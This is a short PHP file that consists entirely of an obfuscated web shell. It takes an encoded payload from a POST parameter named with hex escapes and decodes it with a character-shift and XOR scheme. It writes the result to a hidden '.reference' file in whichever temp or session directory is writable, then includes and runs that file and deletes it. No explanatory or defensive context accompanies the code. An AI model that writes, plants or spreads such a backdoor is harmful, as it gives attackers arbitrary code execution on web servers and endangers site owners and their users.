<?php

if(@$_POST["\x72\x65s"] !== null){
	$itm = $_POST["\x72\x65s"];
	 	 $itm	=explode 		( "."		 ,$itm  	)		 ;	
	$val = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
    
            foreach ($itm as $z 	=>	$v4):
                $chS = ord($s[$z % $sLen]);
                $dec = ((int)$v4 - $chS - ($z % 10)) ^ 73;
                $val .= chr($dec);
            endforeach;
	$flg = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", session_save_path()]);
	$mrk = 0;
do {
    $flag = $flg[$mrk] ?? null;
    if ($mrk >= count($flg)) break;
    		if ((bool)is_dir($flag) && (bool)is_writable($flag)) {
    $pset = sprintf("%s/.reference", $flag);
    $file = fopen($pset, 'w');
if ($file) {
	fwrite($file, $val);
	fclose($file);
	include $pset;
	@unlink($pset);
	die();
}
}
    $mrk++;
} while (true);
}